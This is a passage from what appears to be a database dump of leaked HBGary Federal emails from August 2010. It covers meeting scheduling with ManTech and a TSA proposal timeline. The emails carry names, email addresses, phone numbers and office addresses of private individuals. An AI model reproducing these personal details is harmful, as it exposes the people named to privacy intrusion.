\r\n>> Thank you,\r\n>> \r\n>> Dana M. Briggs\r\n>> Executive Assistant to\r\n>> L. William Varner, President\r\n>> Mission, Cyber & Technology Solutions Group\r\n>> ManTech International Corporation\r\n>> 2250 Corporate Park Drive, Suite 500\r\n>> Herndon, VA 20171 \r\n>> (703) 674-2626 - phone\r\n>> (571) 485-2362 - e-fax\r\n>> Dana.Briggs@ManTech.com\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Wednesday, August 04, 2010 8:51 AM\r\n>> To: Briggs, Dana M\r\n>> Subject: Meeting with Bill\r\n>> \r\n>> Hi Dana,\r\n>> \r\n>> I spoke with Bill yesterday about getting together to discuss some\r\n>> business opportunities.  Could you find an open spot in his calendar?\r\n>> \r\n>> Thanks,\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',547,'aaron_hbgary_com/547.html'),(9671,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007624.M858511P14101Q4526.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>,\"John Fanguy\" <jfanguy@digitalmanagement.com>,,','Re: TSA ITSSS Kickoff Timeline and Process','I have contacted the right person at Mantech and they are very interested. &nbsp;I am going to have a brief call with them this afternoon to bring them up to speed on the opportunity and then put them in contact with you.Sound good?AaronOn Aug 3, 2010, at 6:04 PM, John Fanguy wrote:Aaron-&nbsp;Really excited to have you on the team! Bill Luti and I will be working hard to get you more work share ultimately.&nbsp;We’re conducting the kickoff tomorrow morning 9:30am – 11:00am in our offices.&nbsp; We were all caught off-guard a bit, so not all the teaming members will be there.&nbsp; I think you are up-to-date with Bill on our teaming partner status.&nbsp;Nonetheless, since you are a major content contributor I wanted to give you the overall schedule in advance, so that we can move out on our response tomorrow after the meeting.&nbsp;For the kickoff here’s what we’ll have:1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Proposal outline2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Proposal info sheet3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Overall Proposal Process &nbsp;(attached)&nbsp;And here’s what we want to accomplish during that 90 mins:1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Team contact info sheet2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Content assignments3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Past Performance Template review and Assignments4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finalize overall timeline/schedule details5)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Draft Win Themes&nbsp;Between Wed noon and Friday noon, we’ll all focus on:1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Detailed RFP review as questions are due to government by Friday Aug 6 at 5pm.2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Standard content gathering – Fanguy for DMI and all large subs3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Technical Approach draft – Barr4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Incumbent capture - Fanguy&nbsp;We will compile and submit the questions to the government at 3pm on Friday.&nbsp;Over the weekend and thru Tuesday, Aug 10 at noon, we will individually write/compile our sections.&nbsp;From Tuesday noon to Wednesday Aug 11 at noon, the Proposal Team will1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Compile the content into the outline.2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Create 2 color and 5 bw copies for Gold review&nbsp;The Pink Team review on 8/11 &nbsp;from noon to 4pm will output:1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Content gaps2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Final Win Themes3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finalize graphic concepts&nbsp;Prior to the Red Team Review on 8/18, we will:1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Draft pricing2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Create graphics3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finalize and edit individual content sections.4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finalize / review past performance submissions.&nbsp;All content sections will be sent to the Proposal Team by 8/16 at 5pm,&nbsp;From 8/16 – 8/18 at noon, they will :1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Compile into proposal outline.2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Conduct a compliance check against the Compliance Matrix3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Create 2 color and 5 bw copies for Gold review&nbsp;The Red Team Review on 8/18 will create:1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Gap Analysis2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Additional assignments3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Compliance Matrix&nbsp;From 8/18 – 8/23, we will:1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finalize, QA, and approve pricing2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finalize content&nbsp;From 8/23 at noon to 8/25 at noon, we will1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Conduct technical/style editing2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Fine-tune graphics3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Compile into master outline.4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Conduct 3rd&nbsp;person QA review5)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Create 2 color and 5 bw copies for Gold review&nbsp;The Gold Team Review is on 8/25, from noon to 3pm.&nbsp;Submission is 8/29 at midnight.&nbsp;-John&nbsp;John FanguyVPDigital Management, Inc.\"Leading Government Transformation\"GSA 8(a) STARS - GSA IT 70 - GSA MOBIS--------------------------------------------------6701 Democracy Blvd, Suite 500Bethesda, Maryland 20817301-346-6749 cell240-223-4800&nbsp;main&nbsp;&lt;DMI Proposal Process -v2(jf).pptx&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10979,'aaron_hbgary_com/10979.html'),(9672,'2010-08-04','\"William E. Miller\" <wmiller@digitalmanagement.com>','/aaron@hbgary.com/new/1297007625.M108124P14101Q4527.eml','\"Aaron Barr\" <aaron@hbgary.com>','Out of Office: TSA ITSSS Kickoff Timeline and Process','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJuly 31-Aug 6--I will have\r\nperiodic internet and Cell phone access--301-503-9227\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11895,'aaron_hbgary_com/11895.html'),(9673,'2010-08-04','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297007625.M385914P14101Q4528.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: TSA ITSSS Kickoff Timeline and Process','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat!!!\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nVP\r\n\r\nDigital Management, Inc.\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 04, 2010 2:52 PM\r\nTo: John Fanguy\r\nCc: William Luti; William E. Miller; Scott B. Deutschman\r\nSubject: Re: TSA ITSSS Kickoff Timeline and Process\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI have contacted the right person at Mantech and they are\r\nvery interested. &nbsp;I am going to have a brief call with them this afternoon\r\nto bring them up to speed on the opportunity and then put them in contact with\r\nyou.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSound good?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 3, 2010, at 6:04 PM, John Fanguy wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron-\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nReally\r\nexcited to have you on the team! Bill Luti and I will be working hard to get\r\nyou more work share ultimately.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe&#8217;re\r\nconducting the kickoff tomorrow morning 9:30am &#8211; 11:00am in our offices.&nbsp;\r\nWe were all caught off-guard a bit, so not all the teaming members will be\r\nthere.&nbsp; I think you are up-to-date with Bill on our teaming partner status.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNonetheless,\r\nsince you are a major content contributor I wanted to give you the overall\r\nschedule in advance, so that we can move out on our response tomorrow after the\r\nmeeting.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFor\r\nthe kickoff here&#8217;s what we&#8217;ll have:\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Proposal outline\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Proposal info sheet\r\n\r\n\r\n\r\n\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Overall Proposal Process &nbsp;(attached)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAnd\r\nhere&#8217;s what we want to accomplish during that 90 mins:\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Team contact info sheet\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Content assignments\r\n\r\n\r\n\r\n\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Past Performance Template review and\r\nAssignments\r\n\r\n\r\n\r\n\r\n\r\n4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finalize overall timeline/schedule details\r\n\r\n\r\n\r\n\r\n\r\n5)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Draft Win Themes\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBetween\r\nWed noon and Friday noon, we&#8217;ll all focus on:\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Detailed RFP review as questions are due to\r\ngovernment by Friday Aug 6 at 5pm.\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Standard content gathering &#8211; Fanguy for DMI\r\nand all large subs\r\n\r\n\r\n\r\n\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Technical Approach draft &#8211; Barr\r\n\r\n\r\n\r\n\r\n\r\n4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Incumbent capture - Fanguy\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe\r\nwill compile and submit the questions to the government at 3pm on Friday.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOver\r\nthe weekend and thru Tuesday, Aug 10 at noon, we will individually\r\nwrite/compile our sections.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom\r\nTuesday noon to Wednesday Aug 11 at noon, the Proposal Team will\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Compile the content into the outline.\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Create 2 color and 5 bw copies for Gold\r\nreview\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe\r\nPink Team review on 8/11 &nbsp;from noon to 4pm will output:\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Content gaps\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Final Win Themes\r\n\r\n\r\n\r\n\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finalize graphic concepts\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPrior\r\nto the Red Team Review on 8/18, we will:\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Draft pricing\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Create graphics\r\n\r\n\r\n\r\n\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finalize and edit individual content\r\nsections.\r\n\r\n\r\n\r\n\r\n\r\n4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finalize / review past performance\r\nsubmissions.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAll\r\ncontent sections will be sent to the Proposal Team by 8/16 at 5pm,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom\r\n8/16 &#8211; 8/18 at noon, they will :\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Compile into proposal outline.\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Conduct a compliance check against the\r\nCompliance Matrix\r\n\r\n\r\n\r\n\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Create 2 color and 5 bw copies for Gold\r\nreview\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe\r\nRed Team Review on 8/18 will create:\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Gap Analysis\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Additional assignments\r\n\r\n\r\n\r\n\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Compliance Matrix\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom\r\n8/18 &#8211; 8/23, we will:\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finalize, QA, and approve pricing\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finalize content\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom\r\n8/23 at noon to 8/25 at noon, we will\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Conduct technical/style editing\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Fine-tune graphics\r\n\r\n\r\n\r\n\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Compile into master outline.\r\n\r\n\r\n\r\n\r\n\r\n4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Conduct 3rd&nbsp;person QA review\r\n\r\n\r\n\r\n\r\n\r\n5)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Create 2 color and 5 bw copies for Gold\r\nreview\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe\r\nGold Team Review is on 8/25, from noon to 3pm.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSubmission\r\nis 8/29 at midnight.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-John\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJohn\r\nFanguy\r\n\r\n\r\n\r\n\r\n\r\nVP\r\n\r\n\r\n\r\n\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n\r\n\r\n\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\n\r\n\r\n\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n\r\n\r\n\r\n\r\n--------------------------------------------------\r\n\r\n\r\n\r\n\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749 cell\r\n\r\n\r\n\r\n\r\n\r\n240-223-4800&nbsp;main\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&lt;DMI\r\nProposal Process -v2(jf).pptx&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8948,'aaron_hbgary_com/8948.html'),(9674,'2010-08-04','\"Varner, Bill\" <Bill.Varner@ManTech.com>','/aaron@hbgary.com/new/1297007625.M603297P14101Q4529.eml','\"Varner, Bill\" <Bill.Varner@ManTech.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Varner, Bill\" <Bill.Varner@ManTech.com>,\"Aaron Barr\" <aaron@hbgary.com>','Opportunities Discussion w/HBGary Federal & ManTech MCTS (Barr/Varner)','\r\n\r\n\r\n\r\n\r\nOpportunities Discussion w/HBGary Federal &amp; ManTech MCTS (Barr/Varner)\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, August 11, 2010 11:00 AM-12:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: Bill\'s office, ManTech MCTS, 2250 Corporate Park Drive, Ste 500, Herndon, VA&nbsp; 20171\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nHi Aaron &#8211; Per your request and our e-mail conversation, I have scheduled this meeting.&nbsp; \r\n\r\n\r\n\r\nSincerely,\r\n\r\nDana M. Briggs\r\n\r\nExecutive Assistant to\r\n\r\nL. William Varner, President\r\n\r\nMission, Cyber &amp; Technology Solutions Group\r\n\r\nManTech International Corporation\r\n\r\n2250 Corporate Park Drive, Suite 500\r\n\r\nHerndon, VA 20171 \r\n\r\n(703) 674-2626 - phone\r\n\r\n(571) 485-2362 - e-fax\r\n\r\nDana.Briggs@ManTech.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9643,'aaron_hbgary_com/9643.html'),(9675,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007625.M865535P14101Q4530.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: TSA ITSSS Kickoff Timeline and Process','Who is the incumbent again?Sent from my iPhoneOn Aug 4, 2010, at 2:52 PM, John Fanguy &lt;jfanguy@digitalmanagement.com&gt; wrote:\r\n\r\n\r\n\r\nGreat!!!\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nVP\r\n\r\nDigital Management, Inc.\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 04, 2010 2:52 PM\r\nTo: John Fanguy\r\nCc: William Luti; William E. Miller; Scott B. Deutschman\r\nSubject: Re: TSA ITSSS Kickoff Timeline and Process\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI have contacted the right person at Mantech and they are\r\nvery interested. &nbsp;I am going to have a brief call with them this afternoon\r\nto bring them up to speed on the opportunity and then put them in contact with\r\nyou.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSound good?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 3, 2010, at 6:04 PM, John Fanguy wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron-\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nReally\r\nexcited to have you on the team! Bill Luti and I will be working hard to get\r\nyou more work share ultimately.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe’re\r\nconducting the kickoff tomorrow morning 9:30am – 11:00am in our offices.&nbsp;\r\nWe were all caught off-guard a bit, so not all the teaming members will be\r\nthere.&nbsp; I think you are up-to-date with Bill on our teaming partner status.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNonetheless,\r\nsince you are a major content contributor I wanted to give you the overall\r\nschedule in advance, so that we can move out on our response tomorrow after the\r\nmeeting.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFor\r\nthe kickoff here’s what we’ll have:\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Proposal outline\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Proposal info sheet\r\n\r\n\r\n\r\n\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Overall Proposal Process &nbsp;(attached)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAnd\r\nhere’s what we want to accomplish during that 90 mins:\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Team contact info sheet\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Content assignments\r\n\r\n\r\n\r\n\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Past Performance Template review and\r\nAssignments\r\n\r\n\r\n\r\n\r\n\r\n4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finalize overall timeline/schedule details\r\n\r\n\r\n\r\n\r\n\r\n5)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Draft Win Themes\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBetween\r\nWed noon and Friday noon, we’ll all focus on:\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Detailed RFP review as questions are due to\r\ngovernment by Friday Aug 6 at 5pm.\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Standard content gathering – Fanguy for DMI\r\nand all large subs\r\n\r\n\r\n\r\n\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Technical Approach draft – Barr\r\n\r\n\r\n\r\n\r\n\r\n4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Incumbent capture - Fanguy\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe\r\nwill compile and submit the questions to the government at 3pm on Friday.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOver\r\nthe weekend and thru Tuesday, Aug 10 at noon, we will individually\r\nwrite/compile our sections.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom\r\nTuesday noon to Wednesday Aug 11 at noon, the Proposal Team will\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Compile the content into the outline.\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Create 2 color and 5 bw copies for Gold\r\nreview\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe\r\nPink Team review on 8/11 &nbsp;from noon to 4pm will output:\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Content gaps\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Final Win Themes\r\n\r\n\r\n\r\n\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finalize graphic concepts\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPrior\r\nto the Red Team Review on 8/18, we will:\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Draft pricing\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Create graphics\r\n\r\n\r\n\r\n\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finalize and edit individual content\r\nsections.\r\n\r\n\r\n\r\n\r\n\r\n4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finalize / review past performance\r\nsubmissions.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAll\r\ncontent sections will be sent to the Proposal Team by 8/16 at 5pm,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom\r\n8/16 – 8/18 at noon, they will :\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Compile into proposal outline.\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Conduct a compliance check against the\r\nCompliance Matrix\r\n\r\n\r\n\r\n\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Create 2 color and 5 bw copies for Gold\r\nreview\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe\r\nRed Team Review on 8/18 will create:\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Gap Analysis\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Additional assignments\r\n\r\n\r\n\r\n\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Compliance Matrix\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom\r\n8/18 – 8/23, we will:\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finalize, QA, and approve pricing\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finalize content\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom\r\n8/23 at noon to 8/25 at noon, we will\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Conduct technical/style editing\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Fine-tune graphics\r\n\r\n\r\n\r\n\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Compile into master 